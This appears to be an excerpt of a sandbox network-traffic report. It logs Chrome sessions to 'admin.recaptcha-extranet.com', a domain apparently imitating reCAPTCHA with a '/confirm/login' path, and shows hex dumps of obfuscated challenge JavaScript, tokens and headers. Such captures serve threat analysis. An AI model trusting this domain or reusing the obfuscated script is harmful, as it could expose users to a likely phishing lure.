2025-01-09 04:14:08 UTC	1369	IN	Data Raw: 30 29 5d 5b 68 48 28 34 33 32 29 5d 26 26 63 5b 68 48 28 31 32 34 36 29 5d 28 63 5b 68 48 28 31 31 30 31 29 5d 28 65 2c 66 49 29 2c 64 29 3f 63 5b 68 48 28 37 33 39 29 5d 28 66 66 29 3a 63 5b 68 48 28 38 37 33 29 5d 28 66 67 29 7d 2c 31 65 33 29 29 2c 66 4d 3d 7b 7d 2c 66 4d 5b 67 46 28 34 33 32 29 5d 3d 21 5b 5d 2c 66 4d 5b 67 46 28 31 32 32 30 29 5d 3d 65 59 2c 66 4d 5b 67 46 28 31 31 33 35 29 5d 3d 66 64 2c 66 4d 5b 67 46 28 38 32 35 29 5d 3d 66 48 2c 66 4d 5b 67 46 28 33 38 30 29 5d 3d 66 47 2c 66 4d 5b 67 46 28 33 35 39 29 5d 3d 66 33 2c 66 4d 5b 67 46 28 38 35 37 29 5d 3d 66 34 2c 66 4d 5b 67 46 28 31 31 39 30 29 5d 3d 66 74 2c 66 4d 5b 67 46 28 38 35 31 29 5d 3d 66 76 2c 66 4d 5b 67 46 28 34 38 34 29 5d 3d 66 75 2c 66 4d 5b 67 46 28 38 30 38 29 5d Data Ascii: 0)][hH(432)]&&c[hH(1246)](c[hH(1101)](e,fI),d)?c[hH(739)](ff):c[hH(873)](fg)},1e3)),fM={},fM[gF(432)]=![],fM[gF(1220)]=eY,fM[gF(1135)]=fd,fM[gF(825)]=fH,fM[gF(380)]=fG,fM[gF(359)]=f3,fM[gF(857)]=f4,fM[gF(1190)]=ft,fM[gF(851)]=fv,fM[gF(484)]=fu,fM[gF(808)]
2025-01-09 04:14:08 UTC	1369	IN	Data Raw: 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 65 6c 78 4f 45 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 21 3d 69 7d 2c 27 75 4e 76 42 4b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 2a 68 7d 2c 27 70 79 52 51 6d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 51 45 52 6e 41 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 4f 64 73 79 70 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 63 62 75 4a 56 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 54 62 63 63 43 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 Data Ascii: on(h,i){return h==i},'elxOE':function(h,i){return h!=i},'uNvBK':function(h,i){return i*h},'pyRQm':function(h,i){return h==i},'QERnA':function(h,i){return h(i)},'Odsyp':function(h,i){return h<i},'cbuJV':function(h,i){return h==i},'TbccC':function(h,i){retu
2025-01-09 04:14:08 UTC	1369	IN	Data Raw: 5b 68 56 28 33 39 37 29 5d 28 64 5b 68 56 28 32 39 34 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 65 6c 73 65 20 72 65 74 75 72 6e 20 65 28 78 29 3f 21 21 5b 5d 3a 42 5b 68 56 28 35 31 35 29 5d 28 43 5b 68 56 28 33 35 33 29 5d 28 44 5b 68 56 28 31 32 30 37 29 5d 28 29 2f 31 65 33 29 2d 45 28 46 5b 68 56 28 31 30 34 31 29 5d 5b 68 56 28 35 38 34 29 5d 2c 31 30 29 29 3e 47 3f 28 4e 28 4f 2c 66 75 6e 63 74 69 6f 6e 28 68 57 29 7b 68 57 3d 68 56 2c 54 28 55 2c 68 57 28 31 31 34 38 29 29 2c 56 28 57 29 7d 29 2c 21 5b 5d 29 3a 21 21 5b 5d 3b 44 2d 2d 2c 30 3d 3d 44 26 26 28 44 3d 4d 61 74 68 5b 68 56 28 36 33 31 29 5d 28 32 2c 46 29 2c 46 2b 2b 29 2c 64 65 6c 65 74 65 20 42 5b 43 5d 7d 65 6c 73 65 20 66 6f 72 28 4d Data Ascii: [hV(397)](d[hV(294)](o,H)),H=0):I++,M>>=1,s++);}else return e(x)?!![]:B[hV(515)](C[hV(353)](D[hV(1207)]()/1e3)-E(F[hV(1041)][hV(584)],10))>G?(N(O,function(hW){hW=hV,T(U,hW(1148)),V(W)}),![]):!![];D--,0==D&&(D=Math[hV(631)](2,F),F++),delete B[C]}else for(M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.17	49720	188.114.97.3	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:08 UTC	1365	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/180720004:1736393476:mFG7POtOgDgLe5kGWxPY11WtzEbgsb56QEWrIXCnj-A/8ff1993789555e6a/x4hCD.qJP5qxPdpdOpgfPkMegImKGSvGl.Hl3t88agM-1736396046-1.2.1.1-zQKWPrKW7XXEt8HyHQm82ItiIzFuITEuolp7cLgKefGI_UykmYqemjR69M5jLpvZ HTTP/1.1 Host: admin.recaptcha-extranet.com Connection: keep-alive Content-Length: 4332 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-type: application/x-www-form-urlencoded sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" CF-Chl-RetryAttempt: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" CF-Challenge: x4hCD.qJP5qxPdpdOpgfPkMegImKGSvGl.Hl3t88agM-1736396046-1.2.1.1-zQKWPrKW7XXEt8HyHQm82ItiIzFuITEuolp7cLgKefGI_UykmYqemjR69M5jLpvZ sec-ch-ua-platform: "Windows" Accept: / Origin: https://admin.recaptcha-extranet.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://admin.recaptcha-extranet.com/confirm/login/mFtQBHAv Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:08 UTC	4332	OUT	Data Raw: 76 5f 38 66 66 31 39 39 33 37 38 39 35 35 35 65 36 61 3d 45 53 39 67 66 67 68 67 36 67 58 67 77 49 4a 25 32 62 49 4a 2d 67 51 37 55 6e 71 4f 38 59 57 4a 69 39 4a 45 49 4a 6b 53 63 52 4c 4a 55 67 4f 70 39 67 39 6d 73 47 4a 41 67 6f 53 63 68 4a 71 67 4a 70 39 43 6d 4a 6c 67 55 50 4a 50 69 67 48 39 73 39 63 56 67 49 49 4d 4a 44 39 4a 78 44 4a 6f 53 4a 30 4a 59 38 72 4c 76 24 76 32 6b 4c 4a 45 67 49 57 44 4a 49 53 73 64 50 51 49 2d 4e 48 4a 6f 37 4c 4c 35 5a 4e 37 61 24 4e 35 5a 66 56 64 4c 48 48 69 6f 4a 30 77 66 46 44 55 57 51 4f 51 73 45 4a 4a 36 4d 4f 69 41 4e 52 46 75 46 4f 63 64 46 55 69 64 37 68 31 2d 41 38 51 4a 4f 72 67 6c 4a 52 51 73 70 63 46 4d 73 78 39 6b 4a 41 77 4a 4a 4e 37 4a 7a 4a 4a 30 67 5a 6d 65 4a 45 74 63 4e 4a 4a 6d 4a 41 51 53 78 36 4a Data Ascii: v_8ff1993789555e6a=ES9gfghg6gXgwIJ%2bIJ-gQ7UnqO8YWJi9JEIJkScRLJUgOp9g9msGJAgoSchJqgJp9CmJlgUPJPigH9s9cVgIIMJD9JxDJoSJ0JY8rLv$v2kLJEgIWDJISsdPQI-NHJo7LL5ZN7a$N5ZfVdLHHioJ0wfFDUWQOQsEJJ6MOiANRFuFOcdFUid7h1-A8QJOrglJRQspcFMsx9kJAwJJN7JzJJ0gZmeJEtcNJJmJAQSx6J
2025-01-09 04:14:08 UTC	874	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 04:14:08 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15952 Connection: close cf-chl-gen: PXY8yIq9JGpZuEQpL17b9phXZb4I2Pf7CvlljRV1HvJ4nZap4mTct+dMoAB5$URRfJgr+RozhSN12 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8xpvIktxSu%2BW5%2BoM5G8kPm2QPmWSa7YwMfIaxLdREhTIZRZ2jWhTpCEYwIOQxMuhjEKn%2BJlzjYcMakWbxKU%2FbK4%2Fn%2F%2FoU1EBSLpbYyxI8ZmYK2aQypX5wvXKrNXQKT8F0J3UO%2FSVksWzKI2QbPTU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff199469ddb0f51-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1702&min_rtt=1702&rtt_var=639&sent=5&recv=10&lost=0&retrans=0&sent_bytes=2861&recv_bytes=6319&delivery_rate=1715628&cwnd=204&unsent_bytes=0&cid=98f73eff92e9c61f&ts=133&x=0"
2025-01-09 04:14:08 UTC	495	IN	Data Raw: 65 4a 36 77 73 6f 35 38 6d 4c 75 75 6c 4b 6a 42 73 38 75 32 6f 63 4f 6a 6d 4b 2b 68 30 70 79 7a 70 64 61 53 30 4c 62 61 78 5a 57 78 30 39 71 53 72 62 69 66 6c 74 6e 64 35 71 58 6f 78 75 69 6d 33 37 7a 73 37 72 36 36 7a 71 36 30 30 75 44 4c 71 38 76 45 39 62 7a 39 33 72 75 7a 2f 67 50 53 42 72 77 41 34 4f 67 4a 33 2b 58 56 43 39 2f 37 33 2b 76 66 38 39 33 75 36 75 76 59 31 75 51 5a 36 51 76 56 31 74 63 56 2f 76 66 6c 39 2f 41 6f 39 53 72 6d 46 65 30 48 45 42 7a 73 49 75 6f 57 41 68 41 69 41 67 49 34 43 42 30 4b 50 69 6f 4b 45 41 73 55 48 67 38 51 46 43 4e 4b 41 54 51 6c 4e 7a 30 4f 45 43 45 70 4c 53 42 57 43 51 6f 78 51 6c 6f 58 4b 42 67 56 57 69 6f 39 57 42 77 2b 4e 56 59 69 59 32 56 6b 62 56 30 74 5a 55 52 73 4c 57 4a 4f 4e 48 59 70 64 46 46 5a 65 54 74 Data Ascii: eJ6wso58mLuulKjBs8u2ocOjmK+h0pyzpdaS0LbaxZWx09qSrbifltnd5qXoxuim37zs7r66zq600uDLq8vE9bz93ruz/gPSBrwA4OgJ3+XVC9/73+vf893u6uvY1uQZ6QvV1tcV/vfl9/Ao9SrmFe0HEBzsIuoWAhAiAgI4CB0KPioKEAsUHg8QFCNKATQlNz0OECEpLSBWCQoxQloXKBgVWio9WBw+NVYiY2VkbV0tZURsLWJONHYpdFFZeTt
2025-01-09 04:14:08 UTC	1369	IN	Data Raw: 68 37 77 41 79 4d 43 6b 47 43 51 55 44 4b 68 55 70 44 51 67 41 4c 51 38 4d 2f 45 51 57 4d 45 6b 43 49 41 49 33 4b 69 45 50 41 7a 38 6a 4d 53 59 72 4c 7a 4d 71 4f 54 67 70 54 44 63 37 55 6a 5a 4d 57 6c 30 31 57 6d 49 2f 55 6d 67 6a 5a 47 78 58 5a 44 42 76 59 6b 52 30 54 57 78 48 55 6b 73 77 61 55 55 38 4f 33 70 50 56 32 46 62 66 46 42 6e 63 30 4a 56 59 6b 68 49 68 57 65 44 59 45 4e 63 69 49 75 51 56 47 79 55 69 47 31 61 66 57 61 58 62 59 39 74 67 6d 36 69 64 5a 4a 31 59 70 4e 70 61 48 69 71 6f 47 71 52 6a 49 56 75 73 49 4f 52 74 32 71 78 6b 70 71 37 6b 61 71 4d 6d 4a 7a 44 6b 4d 4f 56 6e 34 65 67 6e 4a 32 4a 71 61 54 46 73 4e 43 37 73 36 48 4b 70 39 57 6b 7a 74 4f 54 31 72 4b 57 70 38 6e 49 31 35 71 79 30 4e 58 45 6f 4b 58 41 35 74 58 4e 77 2b 37 4e 71 73 Data Ascii: h7wAyMCkGCQUDKhUpDQgALQ8M/EQWMEkCIAI3KiEPAz8jMSYrLzMqOTgpTDc7UjZMWl01WmI/UmgjZGxXZDBvYkR0TWxHUkswaUU8O3pPV2FbfFBnc0JVYkhIhWeDYENciIuQVGyUiG1afWaXbY9tgm6idZJ1YpNpaHiqoGqRjIVusIORt2qxkpq7kaqMmJzDkMOVn4egnJ2JqaTFsNC7s6HKp9WkztOT1rKWp8nI15qy0NXEoKXA5tXNw+7Nqs
2025-01-09 04:14:08 UTC	1369	IN	Data Raw: 4b 7a 41 75 4e 76 63 75 50 6a 45 36 47 7a 62 2b 4d 44 73 56 52 6b 70 44 48 55 77 61 4e 30 63 4e 4a 44 74 4c 45 41 73 2f 54 78 56 43 51 31 4d 5a 4d 30 64 41 47 54 42 56 50 52 6f 33 50 6c 42 6b 5a 30 49 33 57 44 34 33 57 55 63 6a 63 6d 70 31 59 31 4a 4c 62 46 4a 36 58 48 56 33 64 6e 70 30 50 7a 39 67 63 6e 46 75 56 48 71 43 63 6e 36 47 67 48 61 43 69 32 6c 6e 68 6f 31 66 6c 56 52 79 69 58 69 63 6a 48 42 73 64 5a 43 52 66 70 4a 79 66 6e 71 46 71 61 64 70 66 35 36 72 6d 48 75 63 73 4a 79 50 66 72 61 67 62 36 43 36 70 48 4f 4f 76 71 68 32 66 63 4b 73 66 4b 7a 47 73 49 43 52 70 35 54 48 79 4b 33 50 6f 5a 43 76 6e 34 33 51 74 64 4f 2f 30 37 65 6a 7a 35 4b 56 74 36 33 65 6f 4c 71 74 7a 61 4b 59 76 37 54 55 73 75 44 6e 71 4f 6d 34 33 4d 36 2f 76 72 4b 75 73 72 58 Data Ascii: KzAuNvcuPjE6Gzb+MDsVRkpDHUwaN0cNJDtLEAs/TxVCQ1MZM0dAGTBVPRo3PlBkZ0I3WD43WUcjcmp1Y1JLbFJ6XHV3dnp0Pz9gcnFuVHqCcn6GgHaCi2lnho1flVRyiXicjHBsdZCRfpJyfnqFqadpf56rmHucsJyPfragb6C6pHOOvqh2fcKsfKzGsICRp5THyK3PoZCvn43QtdO/07ejz5KVt63eoLqtzaKYv7TUsuDnqOm43M6/vrKusrX
2025-01-09 04:14:08 UTC	1369	IN	Data Raw: 78 63 55 51 77 31 46 4f 43 49 2f 42 52 6f 6d 42 52 38 36 44 69 42 4b 55 42 39 49 50 30 51 56 52 46 55 50 47 55 78 54 4f 79 64 52 56 42 64 41 54 54 55 63 56 6a 5a 69 55 56 6f 6b 59 55 73 34 51 69 77 72 50 32 6c 45 55 55 31 30 59 57 6c 69 53 33 4e 6f 53 48 45 37 54 58 6c 43 59 6d 4e 39 63 6c 35 6e 67 58 5a 34 61 34 56 36 67 57 4a 39 52 57 75 4d 64 47 52 70 6a 33 68 33 56 5a 47 5a 64 33 71 57 66 35 74 2f 59 46 39 68 6c 35 53 55 6e 61 70 70 62 61 46 36 72 5a 79 45 6b 57 65 32 72 49 4e 30 75 72 71 48 68 61 6d 31 74 33 32 51 75 62 2b 38 74 6e 32 64 6e 4b 57 71 71 73 4b 35 76 61 71 44 78 36 47 74 31 61 4b 31 74 74 62 62 31 61 71 73 73 5a 79 32 72 37 71 64 6d 73 36 32 30 62 4b 67 74 36 48 4a 76 38 44 46 77 64 71 38 36 73 54 46 74 65 6e 76 30 4f 71 30 35 64 6a 39 Data Ascii: xcUQw1FOCI/BRomBR86DiBKUB9IP0QVRFUPGUxTOydRVBdATTUcVjZiUVokYUs4QiwrP2lEUU10YWliS3NoSHE7TXlCYmN9cl5ngXZ4a4V6gWJ9RWuMdGRpj3h3VZGZd3qWf5t/YF9hl5SUnappbaF6rZyEkWe2rIN0urqHham1t32Qub+8tn2dnKWqqsK5vaqDx6Gt1aK1ttbb1aqssZy2r7qdms620bKgt6HJv8DFwdq86sTFtenv0Oq05dj9
2025-01-09 04:14:08 UTC	1369	IN	Data Raw: 38 5a 4e 53 49 39 51 79 73 73 51 55 63 76 4f 6b 56 4c 4d 6a 39 57 4e 6b 56 47 46 7a 68 4c 4d 31 56 59 50 43 31 5a 47 30 55 62 54 32 63 6c 59 32 4e 43 4f 57 6c 6e 5a 56 46 73 61 46 4e 67 55 31 39 59 65 44 4e 72 56 54 4a 50 56 6d 63 79 4e 7a 52 44 54 55 42 63 59 48 31 55 51 49 57 45 64 30 6c 67 69 59 56 4a 61 31 43 54 68 59 4a 70 57 47 36 59 6c 48 47 66 63 58 74 63 57 61 43 6a 6b 47 2b 64 66 57 56 35 67 33 5a 74 66 6d 57 6c 72 4b 74 2f 69 71 6c 6f 74 61 47 4e 6a 6e 6d 51 6a 61 75 65 71 37 36 75 76 72 36 4f 78 33 32 58 79 6f 42 39 68 35 2b 35 77 72 43 4f 72 63 48 4b 6f 39 47 53 78 37 50 54 79 4c 57 59 75 62 37 68 7a 4b 76 56 6f 36 33 54 32 64 37 54 79 73 44 44 76 2b 44 70 37 4e 47 75 36 2b 33 57 72 63 72 5a 34 66 6a 31 36 4f 2f 30 38 76 71 38 38 67 50 31 2b Data Ascii: 8ZNSI9QyssQUcvOkVLMj9WNkVGFzhLM1VYPC1ZG0UbT2clY2NCOWlnZVFsaFNgU19YeDNrVTJPVmcyNzRDTUBcYH1UQIWEd0lgiYVJa1CThYJpWG6YlHGfcXtcWaCjkG+dfWV5g3ZtfmWlrKt/iqlotaGNjnmQjaueq76uvr6Ox32XyoB9h5+5wrCOrcHKo9GSx7PTyLWYub7hzKvVo63T2d7TysDDv+Dp7NGu6+3WrcrZ4fj16O/08vq88gP1+
2025-01-09 04:14:08 UTC	1369	IN	Data Raw: 44 4b 68 77 70 4a 54 73 2f 49 56 5a 47 46 44 41 79 4a 52 6b 30 4a 31 55 32 57 32 46 6a 4c 6d 42 6d 4d 44 59 66 4d 31 35 67 4b 6a 74 65 61 53 6c 70 62 6d 6f 79 51 32 5a 78 4e 57 46 73 64 57 51 36 65 33 56 30 65 58 52 36 66 48 6c 39 66 55 56 78 66 49 52 59 65 48 74 4a 65 33 6c 64 53 6f 39 6e 5a 57 65 52 65 46 68 6f 62 6c 64 78 58 6f 46 71 6c 47 78 74 63 58 35 77 63 58 56 31 65 70 2b 66 65 48 36 4a 6f 34 75 41 73 6f 47 41 74 32 70 79 6b 71 53 72 71 35 65 48 69 59 32 4f 6d 72 2f 46 78 35 4c 45 79 70 53 61 68 4a 2f 41 78 73 6a 46 79 63 6d 52 76 63 6a 51 70 4d 54 48 6c 63 65 2b 75 4a 75 67 73 37 47 7a 33 63 53 6b 74 4c 71 6a 76 61 72 4e 74 75 69 33 37 36 69 38 76 38 33 76 7a 38 4c 54 74 2b 54 31 2b 76 72 34 2f 64 6e 42 37 66 33 73 76 76 59 41 41 64 73 46 41 4e Data Ascii: DKhwpJTs/IVZGFDAyJRk0J1U2W2FjLmBmMDYfM15gKjteaSlpbmoyQ2ZxNWFsdWQ6e3V0eXR6fHl9fUVxfIRYeHtJe3ldSo9nZWeReFhobldxXoFqlGxtcX5wcXV1ep+feH6Jo4uAsoGAt2pykqSrq5eHiY2Omr/Fx5LEypSahJ/AxsjFycmRvcjQpMTHlce+uJugs7Gz3cSktLqjvarNtui376i8v83vz8LTt+T1+vr4/dnB7f3svvYAAdsFAN
2025-01-09 04:14:08 UTC	1369	IN	Data Raw: 46 42 39 4c 54 44 46 58 47 56 67 61 56 6c 6b 61 54 7a 74 62 59 78 6f 7a 50 6c 42 6b 61 6d 55 30 57 43 30 36 62 79 4a 74 53 6c 4e 4e 61 31 56 45 55 55 70 62 52 31 52 56 53 6c 5a 36 54 34 4e 4f 55 55 42 58 54 31 64 68 68 47 4f 44 5a 30 53 41 57 30 69 45 6a 56 43 41 58 34 6c 54 5a 5a 46 62 6b 48 75 56 67 4b 46 79 6a 57 4e 61 6e 49 52 7a 5a 5a 32 6c 67 34 61 69 69 34 61 62 6e 6f 47 71 73 36 2b 4b 64 4c 69 7a 71 5a 6c 35 75 61 35 34 66 62 32 76 66 49 48 42 75 6e 32 6c 6c 61 75 59 75 36 47 71 6d 73 37 53 6b 72 48 48 70 71 76 48 74 4d 54 4d 6c 63 65 31 30 64 76 4b 31 64 54 63 6d 36 2f 46 76 38 57 33 33 4e 65 6c 32 38 61 74 30 62 2b 36 35 74 58 73 79 62 58 67 30 4d 32 35 7a 63 62 35 78 2b 2b 38 37 63 73 45 41 66 76 6e 39 64 67 4a 32 67 58 4b 42 65 54 43 37 38 33 Data Ascii: FB9LTDFXGVgaVlkaTztbYxozPlBkamU0WC06byJtSlNNa1VEUUpbR1RVSlZ6T4NOUUBXT1dhhGODZ0SAW0iEjVCAX4lTZZFbkHuVgKFyjWNanIRzZZ2lg4aii4abnoGqs6+KdLizqZl5ua54fb2vfIHBun2llauYu6Gqms7SkrHHpqvHtMTMlce10dvK1dTcm6/Fv8W33Nel28at0b+65tXsybXg0M25zcb5x++87csEAfvn9dgJ2gXKBeTC783
2025-01-09 04:14:08 UTC	1369	IN	Data Raw: 52 73 53 4c 68 63 5a 4d 31 38 59 4f 6a 67 62 4e 47 67 38 4a 6c 39 64 4b 32 78 4f 5a 47 70 51 50 47 39 7a 53 43 78 51 61 32 34 77 4e 46 73 31 66 45 39 4d 66 49 4a 66 50 6e 56 53 65 58 46 6a 56 45 69 4b 51 32 4b 4a 6a 4a 42 4b 6a 56 4a 74 56 46 53 46 69 47 35 4e 66 5a 69 54 66 34 78 2b 64 57 4b 62 62 70 39 6d 63 57 42 32 65 5a 6c 36 65 4a 6d 48 59 37 4b 71 74 61 4f 71 73 36 47 47 6d 35 61 4a 72 48 52 32 74 63 43 41 72 62 4b 61 78 4c 79 6a 77 37 50 4b 78 4a 79 32 72 38 33 4f 72 4e 43 4d 7a 62 66 43 70 36 72 4b 71 4d 57 56 6e 4e 53 37 72 65 47 68 35 4e 48 5a 34 4b 48 55 71 4b 6a 5a 33 73 54 4e 33 4e 48 73 30 4f 54 31 78 4f 6e 6e 32 62 6d 74 74 72 32 2b 79 2b 7a 36 2b 4d 48 68 31 76 50 54 41 4c 76 48 34 4f 50 6f 33 65 67 45 34 4f 38 41 7a 63 7a 75 31 51 37 32 Data Ascii: RsSLhcZM18YOjgbNGg8Jl9dK2xOZGpQPG9zSCxQa24wNFs1fE9MfIJfPnVSeXFjVEiKQ2KJjJBKjVJtVFSFiG5NfZiTf4x+dWKbbp9mcWB2eZl6eJmHY7KqtaOqs6GGm5aJrHR2tcCArbKaxLyjw7PKxJy2r83OrNCMzbfCp6rKqMWVnNS7reGh5NHZ4KHUqKjZ3sTN3NHs0OT1xOnn2bmttr2+y+z6+MHh1vPTALvH4OPo3egE4O8Azczu1Q72
2025-01-09 04:14:08 UTC	1369	IN	Data Raw: 41 30 4f 6c 64 47 4d 45 46 61 59 32 73 32 61 79 68 6d 4f 32 4a 72 61 56 42 51 4e 44 52 73 51 6b 73 77 64 6d 35 77 56 46 59 33 55 55 39 62 55 48 52 51 5a 46 42 6d 57 6d 52 44 53 6f 32 50 62 32 52 37 55 70 43 45 58 31 2b 55 65 56 5a 78 6c 6e 47 49 64 61 46 30 62 6e 35 77 6a 5a 47 6d 6d 4b 6d 4a 69 6f 53 4a 62 57 56 2f 63 58 46 78 6a 49 57 4e 68 4b 5a 35 70 71 69 4c 6c 5a 6a 41 74 4a 53 41 65 72 36 64 70 37 32 39 6f 73 53 63 6f 73 36 71 6f 38 53 50 6e 4d 2f 54 70 61 47 4a 6f 73 75 52 6d 61 79 64 32 4b 37 4f 76 62 75 72 33 36 57 30 30 4c 33 42 36 74 54 6d 76 36 79 37 33 73 62 4a 78 2b 58 51 38 4f 69 78 39 2b 50 48 30 39 33 71 74 62 66 61 2f 4c 76 50 31 67 4d 47 41 67 54 6b 30 38 50 6d 2f 74 7a 69 36 74 7a 38 35 2b 59 41 41 67 30 4f 45 64 6b 49 39 78 6e 36 49 Data Ascii: A0OldGMEFaY2s2ayhmO2JraVBQNDRsQkswdm5wVFY3UU9bUHRQZFBmWmRDSo2Pb2R7UpCEX1+UeVZxlnGIdaF0bn5wjZGmmKmJioSJbWV/cXFxjIWNhKZ5pqiLlZjAtJSAer6dp729osScos6qo8SPnM/TpaGJosuRmayd2K7Ovbur36W00L3B6tTmv6y73sbJx+XQ8Oix9+PH093qtbfa/LvP1gMGAgTk08Pm/tzi6tz85+YAAg0OEdkI9xn6I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.17	49722	188.114.97.3	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:08 UTC	906	OUT	GET /favicon.ico HTTP/1.1 Host: admin.recaptcha-extranet.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://admin.recaptcha-extranet.com/confirm/login/mFtQBHAv Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:08 UTC	947	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 04:14:08 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Express Content-Security-Policy: default-src 'none' X-Content-Type-Options: nosniff Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=27KOg%2B2LR8ddFHfO7%2BnWja0T5%2F%2FMPNLv0bwe00u5AhepkGl3Pb5Ou1MMHYdy5DwnEUqnZZLfdRV0Y8I8O7F6Hstn1Pgm1pvnBMXELl%2B%2BhhpnNXXcEL1EJCpx6bia%2B1N0tZ9DYnW9WGwIftHDGRCa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff199478f60f3bb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1672&min_rtt=1667&rtt_var=635&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2860&recv_bytes=1484&delivery_rate=1708601&cwnd=82&unsent_bytes=0&cid=e3efc927eb942aa3&ts=335&x=0"
2025-01-09 04:14:08 UTC	156	IN	Data Raw: 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 70 72 65 3e 43 61 6e 6e 6f 74 20 47 45 54 20 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 3c 2f 70 72 65 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: 96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><title>Error</title></head><body><pre>Cannot GET /favicon.ico</pre></body></html>
2025-01-09 04:14:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.17	49723	104.18.95.41	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:08 UTC	413	OUT	GET /turnstile/v0/g/849bfe45bf45/api.js?onload=FirmE4&render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:08 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 04:14:08 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Thu, 02 Jan 2025 13:52:36 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8ff19948286472b7-EWR alt-svc: h3=":443"; ma=86400
